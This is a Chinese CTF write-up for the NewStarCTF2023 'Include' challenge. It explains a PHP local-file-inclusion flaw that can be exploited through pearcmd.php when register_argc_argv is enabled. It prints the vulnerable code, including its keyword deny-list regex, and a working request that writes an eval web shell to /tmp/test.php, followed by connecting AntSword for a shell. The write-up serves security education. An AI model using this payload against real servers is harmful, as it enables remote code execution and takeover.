【NewStarCTF2023】 Include🍐 pearcmd 文件包含

题目

进入靶机, 看到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

注释提示我们去看 phpinfo.php , 路径输入, 可以看到 phpinfo(), 然后看到有一个 Flag 字段, 里面写着 fake{Check_register_argc_argv} 又是提示, 直接搜这个字段, 发现 register_argc_argv = ON, 再加上题目源码提示,那就很明显是 pear 文件包含漏洞了.

解题思路

pear

首先先来介绍一下 pear, pear的全称为PHP Extension and Application Repository,中文翻译为php扩展和应用仓库,涵盖了页面呈现、数据库访问、文件操作、数据结构、缓存操作、网络协议、WebService 等许多方面,用户可以通过下载这些类库并适当的作一些定制以实现自己需要的功能。避免重复造轮子.

可以通过 pear 命令往 php 目录中下载内容(出网下载), 也可以使用 pear 命令创建内容(不出网).

register_argc_argv

register_argc_argvphp.ini 里面的一个选项,默认为OFF,如果被设置成 ON, 那么就能获得以下权利:

  1. 在命令行模式下, 通过 $_SERVER[‘argv’] 获得命令行参数
  2. 在 Web 模式下, 可以在 URL 里嵌入 + 号, 其中会将+ 号链接的参数的个数存入 argc, 各个参数的值存入 argv.

完整利用

pearcmd.php 中, 会有逻辑尝试 argv 变量, 再尝试 _SERVER['argv'] , 其中_SERVER['argv'] 是我们可以控制的变量, 最后会把 _SERVER['argv'] 给 return 出来, 所以我们这里可以在文件包含中获取的我们在 GET 里传递的参数了.

这里使用 config-create 来在本地指定目录创建文件, 然后用 + 代替空格, 构造请求如下:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

连接蚁剑, 即可 getshell.